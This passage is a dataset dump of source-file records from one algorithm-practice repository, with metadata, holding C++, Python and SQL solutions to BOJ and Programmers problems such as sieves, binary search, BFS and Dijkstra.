\"content_id\": \"bf2b356e6250f5db1514d5d466469e8c75e54c8b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 592,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 30,\n \"path\": \"/BOJ/Mathematics/2960.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2960번: 에라토스테네스의 체\\nDATE: 2021-10-10\\n*/\\n#include <iostream>\\n#include <math.h>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int arr[1001] = {0, };\\n int n, k, cnt = 0;\\n cin >> n >> k;\\n\\n for(int i = 2 ; i <= n ; i++) {\\n for(int j = i ; j <= n ; j += i) {\\n if(arr[j] == 0) {\\n cnt++;\\n arr[j] = j;\\n }\\n if(cnt == k) {\\n cout << j;\\n break;\\n }\\n }\\n if(cnt == k) break;\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4482225775718689,\n \"alphanum_fraction\": 0.4822256565093994,\n \"avg_line_length\": 17.514286041259766,\n \"blob_id\": \"3eeb34fb313039ba890db7b88a36ce1a5ec30912\",\n \"content_id\": \"3e791af8aa138b5b396c30ea94ec2863160b1adc\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 695,\n \"license_type\": \"no_license\",\n \"max_line_length\": 84,\n \"num_lines\": 35,\n \"path\": \"/BOJ/Binary Search/1300.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1300번: K번째 수\\nDATE: 2022-02-09\\nBinary Search\\n*/\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n long long n, k;\\n long long left, right, mid, ans;\\n\\n cin >> n >> k;\\n\\n left = 0; right = n * n;\\n\\n while(left <= right) {\\n long long cnt = 0;\\n mid = (left + right) / 2; // K번째 수를 mid라고 설정\\n\\n for(int i = 1 ; i <= n ; i++) cnt += min(mid / i, n); // mid보다 작거나 같은 숫자의 개수\\n\\n if(cnt < k) left = mid + 1;\\n else {\\n right = mid - 1;\\n ans = mid; \\n }\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4008843004703522,\n \"alphanum_fraction\": 0.4340457022190094,\n \"avg_line_length\": 21.633333206176758,\n \"blob_id\": \"df75b3a3ef5c9c645d3193fc893d9c3ffa7d65f4\",\n \"content_id\": \"dcbfb95dac265b209d930c0363b9bfc4ef86dbfd\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1357,\n \"license_type\": \"no_license\",\n \"max_line_length\": 55,\n \"num_lines\": 60,\n \"path\": \"/programmers/Level 2/tuple.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//programmers Level 2 : Tuple\\n//2019 KAKAO Winter Internship\\n//2021-05-07\\n#include <string>\\n#include <vector>\\n#include <iostream>\\n#include <algorithm>\\n#include <map>\\nusing namespace std;\\n\\nbool cmp(vector<int> a, vector<int> b){\\n return a.size() < b.size();\\n}\\n\\nvector<int> solution(string s) {\\n vector<vector<int>> tmp1;\\n vector<int> answer, tmp2;\\n map<int, int> m;\\n string ss;\\n\\n for(int i = 0 ; i < s.length() ; i++){\\n if(s[i] != '{' && s[i] != '}' && s[i] != ','){ \\n ss += s[i];\\n }\\n else if(s[i] == ',' && s[i + 1] != '{'){\\n tmp2.push_back(atoi(ss.c_str()));\\n ss=\\\"\\\";\\n }\\n else if(s[i] == '}' && s[i + 1] != '}'){\\n tmp2.push_back(atoi(ss.c_str()));\\n tmp1.push_back(tmp2);\\n tmp2.clear();\\n ss=\\\"\\\";\\n }\\n }\\n \\n sort(tmp1.begin(), tmp1.end(), cmp);\\n\\n for(int i = 0 ; i < tmp1.size() ; i++){\\n for(int j = 0 ; j < tmp1[i].size() ; j++){\\n if(m[tmp1[i][j]] > 0)\\n continue;\\n answer.push_back(tmp1[i][j]);\\n m[tmp1[i][j]]++;\\n }\\n }\\n\\n return answer;\\n}\\n\\nint main(){\\n string s = \\\"{{2},{2,1},{2,1,3},{2,1,3,4}}\\\";\\n vector <int> answer = solution(s);\\n \\n for(int i = 0 ; i < answer.size(); i++){\\n cout << answer[i] << \\\" \\\";\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.45119306445121765,\n \"alphanum_fraction\": 0.494577020406723,\n \"avg_line_length\": 16.769229888916016,\n \"blob_id\": \"be9600bb159ddc8967d67512146afa2879e89e1f\",\n \"content_id\": \"dd4b2896f18e5596b107c6eb2f30ec8652c6a040\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 469,\n \"license_type\": \"no_license\",\n \"max_line_length\": 67,\n \"num_lines\": 26,\n \"path\": \"/programmers/Level 1/find_prime_number.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 1: 소수 찾기\\ndate: 2022-05-26\\n*/\\n#include <string>\\n#include <vector>\\n#include <math.h>\\nusing namespace std;\\n\\nint isNotPrime[1000001];\\n\\nint solution(int n) {\\n int answer = 0;\\n \\n for(int i = 2 ; i <= sqrt(n) ; i++){\\n if(!isNotPrime[i]) {\\n for(int j = i * i ; j <= n ; j += i) isNotPrime[j] = 1;\\n }\\n }\\n \\n for(int i = 2 ; i <= n ; i++){\\n if(!isNotPrime[i]) answer++;\\n }\\n \\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.43414634466171265,\n \"alphanum_fraction\": 0.46097561717033386,\n \"avg_line_length\": 20.63157844543457,\n \"blob_id\": \"6ccdc02b544af2226e97b13cc1435bcf50391008\",\n \"content_id\": \"8fec4e02e5b2f5f489e65931d74b2150e5e0b900\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 418,\n \"license_type\": \"no_license\",\n \"max_line_length\": 56,\n \"num_lines\": 19,\n \"path\": \"/programmers/Level 3/network.py\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# programmers Level 3: 네트워크\\n# date: 2022-04-15\\ndef solution(n, computers):\\n answer = 0\\n visited = [False] * n\\n \\n def dfs(i, n):\\n visited[i] = True;\\n\\n for j in range(n):\\n if(computers[i][j] and visited[j] == False):\\n dfs(j, n)\\n \\n for i in range(n):\\n if not visited[i]:\\n answer += 1;\\n dfs(i, n)\\n \\n return answer\"\n },\n {\n \"alpha_fraction\": 0.41563186049461365,\n \"alphanum_fraction\": 0.44241538643836975,\n \"avg_line_length\": 21.822221755981445,\n \"blob_id\": \"664318206c8c2f6f538d8665d22b3f44750e4520\",\n \"content_id\": \"0d6f88b371c2cf94c6d92dd6c12185f6fac37eb1\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 4133,\n \"license_type\": \"no_license\",\n \"max_line_length\": 88,\n \"num_lines\": 180,\n \"path\": \"/BOJ/Implementation/21608.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 21608번: 상어 초등학교\\nDATE: 2021-11-08\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\n#include <cmath>\\n#define MAX 20\\nusing namespace std;\\nvector<int> v[MAX * MAX];\\nvector<pair<int,int>> location_1, location_2;\\nint classroom[MAX][MAX];\\nint dx[4] = {-1, 0, 1, 0};\\nint dy[4] = {0, 1, 0, -1};\\nint n;\\n\\nint getLikeStd(int x, int y, vector<int> like){\\n int cnt = 0;\\n\\n for(int i = 0 ; i < 4 ; i++) {\\n int nx = x + dx[i];\\n int ny = y + dy[i];\\n\\n if(nx < 0 || ny < 0 || nx >= n || ny >= n) continue;\\n if(find(like.begin(), like.end(), classroom[nx][ny]) != like.end()) {\\n cnt++;\\n }\\n }\\n\\n return cnt;\\n}\\n\\nint getEmptyCount(int x, int y) {\\n int cnt = 0;\\n\\n for(int i = 0 ; i < 4 ; i++) {\\n int nx = x + dx[i];\\n int ny = y + dy[i];\\n\\n if(nx < 0 || ny < 0 || nx >= n || ny >= n ) continue;\\n if(classroom[nx][ny] == 0) cnt++;\\n }\\n\\n return cnt;\\n}\\n\\nint step1(int num, int student) {\\n vector<int> like;\\n int maxNum = -1, maxCnt = 0, x = 0, y = 0;\\n\\n for(int i = 1 ; i <= 4 ; i++) like.push_back(v[num][i]);\\n\\n for(int i = 0 ; i < n ; i++) {\\n for(int j = 0 ; j < n ; j++) {\\n if(classroom[i][j] > 0) continue;\\n int cnt = getLikeStd(i, j, like);\\n \\n if(cnt > maxNum) {\\n maxNum = cnt;\\n maxCnt = 0;\\n location_1.clear();\\n location_1.push_back(make_pair(i, j));\\n x = i; y = j;\\n }\\n else if(cnt == maxNum) {\\n maxCnt++;\\n location_1.push_back(make_pair(i, j));\\n }\\n }\\n }\\n \\n if(maxCnt == 0) {\\n classroom[x][y] = student;\\n return 1;\\n }\\n else return 0;\\n}\\n\\nint step2(int num, int student) {\\n vector<int> like;\\n int maxNum = -1, maxCnt = 0, x, y;\\n\\n for(int i = 1 ; i <= 4 ; i++) like.push_back(v[num][i]);\\n\\n for(int i = 0 ; i < location_1.size() ; i++) {\\n int cnt = getEmptyCount(location_1[i].first, location_1[i].second);\\n \\n if(cnt > maxNum) {\\n maxNum = cnt;\\n maxCnt = 0;\\n location_2.clear();\\n location_2.push_back(make_pair(location_1[i].first, location_1[i].second));\\n x = location_1[i].first; y = location_1[i].second;\\n }\\n else if(cnt == maxNum) {\\n maxCnt++;\\n location_2.push_back(make_pair(location_1[i].first, location_1[i].second));\\n }\\n }\\n\\n if(maxCnt == 0) {\\n classroom[x][y] = student;\\n return 1;\\n }\\n else return 0;\\n}\\n\\nvoid step3(int num, int student) {\\n vector<pair<int,int>> rowCol;\\n int x, y;\\n\\n for(int i = 0 ; i < location_2.size() ; i++) {\\n rowCol.push_back(make_pair(location_2[i].first, location_2[i].second));\\n }\\n\\n sort(rowCol.begin(), rowCol.end());\\n\\n x = rowCol[0].first;\\n y = rowCol[0].second;\\n\\n classroom[x][y] = student;\\n return;\\n}\\n\\nint calcVal(int x, int y, int num) {\\n int idx, cnt = 0;\\n\\n for(int i = 0 ; i < n * n ; i++) {\\n if(v[i][0] == num) {\\n idx = i;\\n }\\n }\\n\\n for(int i = 0 ; i < 4 ; i++) {\\n int nx = x + dx[i];\\n int ny = y + dy[i];\\n\\n if(nx < 0 || ny < 0 || nx >= n || ny >= n) continue;\\n if(find(v[idx].begin(), v[idx].end(), classroom[nx][ny]) != v[idx].end()) cnt++;\\n }\\n\\n return cnt; \\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int a, b, ans = 0;\\n cin >> n;\\n\\n for(int i = 0 ; i < n * n ; i++) {\\n cin >> a;\\n v[i].push_back(a);\\n\\n for(int j = 0 ; j < 4 ; j++) { // 좋아하는 학생\\n cin >> b;\\n v[i].push_back(b);\\n }\\n }\\n\\n for(int i = 0 ; i < n * n ; i++) {\\n int idx;\\n idx = v[i][0];\\n\\n if(step1(i, idx)) continue;\\n if(step2(i, idx)) continue;\\n step3(i, idx);\\n }\\n\\n for(int i = 0 ; i < n ; i++) {\\n for(int j = 0 ; j < n ; j++) {\\n int cnt = calcVal(i, j, classroom[i][j]);\\n if (cnt > 0) ans += pow(10, cnt - 1);\\n }\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.33816424012184143,\n \"alphanum_fraction\": 0.3719806671142578,\n \"avg_line_length\": 17.294116973876953,\n \"blob_id\": \"48e91a14b06c536341ddef627c437bab4b1ed7e1\",\n \"content_id\": \"4453bcb9db961aa8a6d1a87870c4e1019fad27f8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 637,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 34,\n \"path\": \"/BOJ/Implementation/14235.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 14235번: 크리스마스 선물\\n2022-01-14\\n*/\\n#include <iostream>\\n#include <queue>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n priority_queue<int> pq;\\n int n, a, num;\\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++) {\\n cin >> a;\\n\\n if(a > 0){\\n for(int j = 0 ; j < a ; j++){\\n cin >> num;\\n pq.push(num);\\n }\\n }\\n else{\\n if(pq.empty()) cout << -1 << '\\\\n';\\n else {\\n cout << pq.top() << '\\\\n';\\n pq.pop();\\n }\\n }\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3947368562221527,\n \"alphanum_fraction\": 0.4254385828971863,\n \"avg_line_length\": 18.571428298950195,\n \"blob_id\": \"8e767093ee385f313a46f0973e41ef290636ec4a\",\n \"content_id\": \"fb60dd4dd4a6bc37b7794b092d5618ae205a710e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 688,\n \"license_type\": \"no_license\",\n \"max_line_length\": 63,\n \"num_lines\": 35,\n \"path\": \"/BOJ/Mathematics/9613.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 9613번: GCD 합\\nDATE: 2022-01-24\\nEuclidean algorithm\\n*/\\n#include <iostream>\\nusing namespace std;\\n\\nlong long gcd(int a, int b){\\n return b ? gcd(b, a % b): a;\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int tc, n;\\n cin >> tc;\\n\\n for(int i = 0 ; i < tc ; i++){\\n cin >> n;\\n long long arr[n], sum = 0;\\n\\n for(int j = 0 ; j < n ; j++) cin >> arr[j];\\n\\n for(int j = 0 ; j < n ; j++){\\n for(int k = j + 1 ; k < n ; k++){\\n if(arr[j] > arr[k]) sum += gcd(arr[j], arr[k]);\\n else sum += gcd(arr[k], arr[j]);\\n }\\n }\\n\\n cout << sum << '\\\\n';\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.6203208565711975,\n \"alphanum_fraction\": 0.6541889309883118,\n \"avg_line_length\": 22.375,\n \"blob_id\": \"fe50943633c2dfc5448ac89b5416816acdb58904\",\n \"content_id\": \"d5ec00616e1ac7b9f0e3d2ec640e59d5905973c2\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 607,\n \"license_type\": \"no_license\",\n \"max_line_length\": 93,\n \"num_lines\": 24,\n \"path\": \"/programmers/SQL/ETC.md\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"**[1. 우유와 요거트가 담긴 장바구니 (Level 4)](https://programmers.co.kr/learn/courses/30/lessons/62284)**\\n\\n```sql\\nSELECT DISTINCT A.CART_ID\\nFROM CART_PRODUCTS A INNER JOIN CART_PRODUCTS B ON A.CART_ID = B.CART_ID\\nWHERE (A.NAME IN ('Milk', 'Yogurt') and B.NAME IN ('Milk', 'Yogurt')) and A.NAME != B.NAME\\nORDER BY A.CART_ID\\n```\\n\\n<br/>\\n\\n**[2. 헤비 유저가 소유한 장소 (Level 3)](https://programmers.co.kr/learn/courses/30/lessons/77487)**\\n\\n```sql\\nSELECT *\\nFROM PLACES\\nWHERE HOST_ID IN (\\n SELECT HOST_ID\\n FROM PLACES\\n GROUP BY HOST_ID\\n HAVING COUNT(*) >= 2\\n)\\nORDER BY ID\\n```\\n\"\n },\n {\n \"alpha_fraction\": 0.32755032181739807,\n \"alphanum_fraction\": 0.367106169462204,\n \"avg_line_length\": 19.309858322143555,\n \"blob_id\": \"d7bd065709d781e35ebe6e71c545af9bc87ea9e1\",\n \"content_id\": \"34b22d39d7ce7186be48b34860a3a2920edd66d6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1451,\n \"license_type\": \"no_license\",\n \"max_line_length\": 99,\n \"num_lines\": 71,\n \"path\": \"/BOJ/BFS_DFS/4963.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 4963번: 섬의 개수\\nDATE: 2022-02-02\\nBFS\\n*/\\n#include <iostream>\\n#include <queue>\\n#define MAX 50\\nusing namespace std;\\n\\nint w, h;\\nint arr[MAX][MAX];\\nbool visited[MAX][MAX];\\nint dx[8] = {-1, -1, 0, 1, 1, 1, 0, -1};\\nint dy[8] = {0, 1, 1, 1, 0, -1, -1, -1};\\n\\nvoid bfs(int x, int y) {\\n queue<pair<int,int>> q;\\n\\n q.push({x, y});\\n visited[x][y] = 1;\\n\\n while(!q.empty()){\\n x = q.front().first;\\n y = q.front().second;\\n q.pop();\\n\\n for(int i = 0 ; i < 8 ; i++) {\\n int nx = x + dx[i];\\n int ny = y + dy[i];\\n\\n if(nx < 0 || ny < 0 || nx >= h || ny >= w || visited[nx][ny] || !arr[nx][ny]) continue;\\n\\n q.push({nx, ny});\\n visited[nx][ny] = 1;\\n }\\n }\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n \\n while(1) {\\n cin >> w >> h;\\n\\n if(w == 0 && h == 0) break;\\n int ans = 0;\\n\\n for(int i = 0 ; i < h ; i++) {\\n for(int j = 0 ; j < w ; j++) {\\n cin >> arr[i][j];\\n }\\n }\\n\\n for(int i = 0 ; i < h ; i++) {\\n for(int j = 0 ; j < w ; j++) {\\n if(arr[i][j] && !visited[i][j]) {\\n bfs(i, j);\\n ans++;\\n }\\n }\\n }\\n\\n cout << ans << '\\\\n';\\n\\n fill(&arr[0][0], &arr[h - 1][w], 0);\\n fill(&visited[0][0], &visited[h - 1][w], false);\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4458955228328705,\n \"alphanum_fraction\": 0.4670397937297821,\n \"avg_line_length\": 21.041095733642578,\n \"blob_id\": \"a8a917540ec52a6f4c006fbc3bfdfe33bbbf9f9d\",\n \"content_id\": \"4c885d8b741a4250527502fe70cbe54a4c119954\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1630,\n \"license_type\": \"no_license\",\n \"max_line_length\": 94,\n \"num_lines\": 73,\n \"path\": \"/BOJ/Dijkstra/10282.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 10282번: 해킹\\nDATE: 2022-01-11\\nDijkstra Algorithm\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <queue>\\n#include <algorithm>\\n#define MAX 10001\\n#define INF 1e9\\nusing namespace std;\\n\\nvector<pair<int,int>> graph[MAX];\\nint dst[MAX];\\n\\nvoid dijkstra(int start){\\n priority_queue<pair<int,int>, vector<pair<int,int>>, greater<pair<int,int>>> pq; // 거리, 노드\\n\\n pq.push({0, start});\\n dst[start] = 0;\\n\\n while(!pq.empty()){\\n int distance = pq.top().first;\\n int cur = pq.top().second;\\n pq.pop();\\n\\n if(distance > dst[cur]) continue;\\n for(int i = 0 ; i < graph[cur].size() ; i++){\\n int newDistance = graph[cur][i].second;\\n int next = graph[cur][i].first;\\n\\n if(distance + newDistance < dst[next]){\\n dst[next] = distance + newDistance;\\n pq.push({dst[next], next});\\n }\\n }\\n }\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int t;\\n int n, d, c;\\n int a, b, s;\\n cin >> t;\\n\\n for(int i = 0 ; i < t ; i++){\\n cin >> n >> d >> c;\\n\\n for(int j = 0 ; j < d ; j++){\\n cin >> a >> b >> s;\\n graph[b].push_back({a, s}); // a가 b를 의존 \\n }\\n\\n fill(dst, dst + n + 1, INF);\\n dijkstra(c);\\n \\n int maximum = -1, cnt = 0;\\n\\n for(int j = 1 ; j <= n ; j++) {\\n if(dst[j] == INF) continue;\\n maximum = max(maximum, dst[j]);\\n cnt++;\\n }\\n\\n cout << cnt << \\\" \\\" << maximum << '\\\\n';\\n\\n for(int j = 1 ; j <= n ; j++) graph[j].clear();\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3928571343421936,\n \"alphanum_fraction\": 0.41474655270576477,\n \"avg_line_length\": 24.79207992553711,\n \"blob_id\": \"84c21a9cccd00fb251d2f78f9ec7c31ece158c7a\",\n \"content_id\": \"820841ba72e9ca16e60251b5e2dd6db0f1b13473\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 2656,\n \"license_type\": \"no_license\",\n \"max_line_length\": 86,\n \"num_lines\": 101,\n \"path\": \"/programmers/Level 2/maximize_formula.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"//programmers Level 2 : Maximize formula\\n//2020 KAKAO Internship\\n//2021-04-30\\n#include <string>\\n#include <vector>\\n#include <queue>\\n#include <iostream>\\nusing namespace std;\\n\\nvector<string> op, new_exp, cp;\\npriority_queue<long long> pq;\\nint n;\\nlong long pArr[3] = {0,};\\nbool check[4] = {false,};\\n\\nvoid permutation(int depth){\\n if(depth == n){\\n long long num;\\n \\n for(int i = 0 ; i < n ; i++){ //연산자 우선순위대로\\n for(int j = 0 ; j < new_exp.size() ; j++){\\n if(new_exp[j] == op[pArr[i] - 1]){ //연산자\\n if(new_exp[j] == \\\"+\\\")\\n num = stoll(new_exp[j-1]) + stoll(new_exp[j+1]); \\n else if(new_exp[j] == \\\"-\\\")\\n num = stoll(new_exp[j-1]) - stoll(new_exp[j+1]);\\n else if(new_exp[j] == \\\"*\\\")\\n num = stoll(new_exp[j-1]) * stoll(new_exp[j+1]);\\n \\n new_exp.insert(new_exp.begin() + (j+2), to_string(num));\\n new_exp.erase(new_exp.begin() + (j-1), new_exp.begin() + (j + 2));\\n \\n j = -1;\\n }\\n }\\n }\\n \\n num = stoll(new_exp[0]);\\n pq.push(abs(num));\\n \\n new_exp = cp;\\n \\n return;\\n }\\n \\n for(int i = 1 ; i <= n ; i++){\\n if(!check[i]){\\n check[i] = true;\\n pArr[depth] = i;\\n permutation(depth + 1);\\n check[i] = false;\\n }\\n }\\n}\\n\\nlong long solution(string expression) {\\n long long answer = 0;\\n int plus=0, minus=0, mul=0;\\n string tmp;\\n \\n for(int i = 0 ; i < expression.length() ; i++){\\n if(expression[i] != '*' && expression[i] != '+' && expression[i] != '-'){\\n tmp += expression[i];\\n if(i == expression.length() - 1)\\n new_exp.push_back(tmp);\\n }\\n else{\\n new_exp.push_back(tmp);\\n tmp = expression[i];\\n new_exp.push_back(tmp);\\n tmp = \\\"\\\";\\n }\\n \\n if(expression[i] == '+' && plus == 0){\\n op.push_back(\\\"+\\\"); plus++;\\n }\\n else if(expression[i] == '-' && minus == 0){\\n op.push_back(\\\"-\\\"); minus++;\\n }\\n else if(expression[i] == '*' && mul == 0){\\n op.push_back(\\\"*\\\"); mul++;\\n }\\n }\\n \\n cp = new_exp;\\n n = op.size(); //식에 존재하는 연산자 종류의 개수\\n \\n permutation(0);\\n answer = pq.top();\\n \\n return answer;\\n}\\n\\nint main(){\\n long long ans;\\n ans = solution(\\\"100-200*300-500+20\\\");\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.444726824760437,\n \"alphanum_fraction\": 0.4803049564361572,\n \"avg_line_length\": 20.29729652404785,\n \"blob_id\": \"b3bea8df186a64dcc479d44f4ef34a3f95aa6c41\",\n \"content_id\": \"021fcbff812c007121f1a8353b539532212d90dd\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 821,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 37,\n \"path\": \"/BOJ/Implementation/15927.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/* \\nBOJ 15927번: 회문은 회문아니야!!\\n2021-12-21\\n*/\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n string str, front, back;\\n bool flag = true;\\n cin >> str;\\n\\n int length = str.length();\\n \\n front = str.substr(0, length / 2);\\n\\n if(length % 2 == 0) back = str.substr(length / 2);\\n else back = str.substr(length / 2 + 1);\\n\\n reverse(back.begin(), back.end());\\n\\n if(front == back) { // 팰린드롬 O\\n for(int i = 1 ; i < length ; i++) {\\n if(str[i - 1] != str[i]) {\\n cout << length - 1;\\n flag = false;\\n break;\\n }\\n }\\n if(flag) cout << -1;\\n }\\n else cout << str.length(); // 팰린드롬 X\\n \\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4695945978164673,\n \"alphanum_fraction\": 0.5304054021835327,\n \"avg_line_length\": 15.5,\n \"blob_id\": \"c1ea345fe0f447c0f5aad2dec7888096c1b68134\",\n \"content_id\": \"559651b232ca9adbb9866c096f0378eba62f86da\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 310,\n \"license_type\": \"no_license\",\n \"max_line_length\": 41,\n \"num_lines\": 18,\n \"path\": \"/BOJ/Mathematics/1735_1.py\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# 1735_1.py (gcd 함수 구현)\\n# BOJ 1735: 분수 합\\n# DATE: 2022-03-16\\nimport sys\\nread = sys.stdin.readline\\n\\ndef gcd(n, m):\\n return n if m == 0 else gcd(m, n % m)\\n \\na, b = map(int, read().split())\\nc, d = map(int, read().split())\\n\\nn = a * d + b * c\\nm = b * d\\n\\ndiv = gcd(n, m)\\n\\nprint(n // div, m // div)\"\n },\n {\n \"alpha_fraction\": 0.42236024141311646,\n \"alphanum_fraction\": 0.47204968333244324,\n \"avg_line_length\": 19.1875,\n \"blob_id\": \"c5bced023e2fbaa5132da1f3084d46a0a0a3e8ca\",\n \"content_id\": \"24b94f0f0a818bf23773d43a1a5b8769d3f43af5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 336,\n \"license_type\": \"no_license\",\n \"max_line_length\": 43,\n \"num_lines\": 16,\n \"path\": \"/programmers/Level 2/remove_pair.py\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# programmers Level 2: 짝지어 제거하기\\n# date: 2022-06-10\\ndef solution(s):\\n answer = -1\\n list = []\\n \\n for i in s:\\n if len(list) == 0 or list[-1] != i:\\n list.append(i)\\n elif list[-1] == i:\\n list.pop()\\n \\n if len(list) > 0: answer = 0\\n else: answer = 1\\n \\n return answer\"\n },\n {\n \"alpha_fraction\": 0.3726937174797058,\n \"alphanum_fraction\": 0.4132841229438782,\n \"avg_line_length\": 16.516128540039062,\n \"blob_id\": \"c2ee8a13a114623a38f920d0c3f5be4afdf6d43f\",\n \"content_id\": \"e69f7bf96303a4d60131fdeee70d058299aebff7\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 556,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 31,\n \"path\": \"/BOJ/Greedy/2828.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2828번: 사과 담기 게임\\n2021-03-26\\n*/\\n#include <iostream>\\n#include <cstdlib>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, m, a, dst=0, now = 1;\\n cin >> n >> m >> a;\\n\\n for(int i = 0 ; i < a ; i++){\\n int num;\\n cin >> num;\\n\\n if(num > (now + m -1)){\\n dst += num - (now + m -1);\\n now = num - m + 1;\\n }\\n else if(num < now){\\n dst += now - num;\\n now = num;\\n }\\n }\\n\\n cout << dst;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5082417726516724,\n \"alphanum_fraction\": 0.557692289352417,\n \"avg_line_length\": 16.380952835083008,\n \"blob_id\": \"cbf45ed529399f6ea56ca74d6a7179e6950a8c37\",\n \"content_id\": \"669870feb755e3666b19f26fdc8dd3ff912e1fd8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 376,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 21,\n \"path\": \"/BOJ/Mathematics/1850.cpp\",\n \"repo_name\": 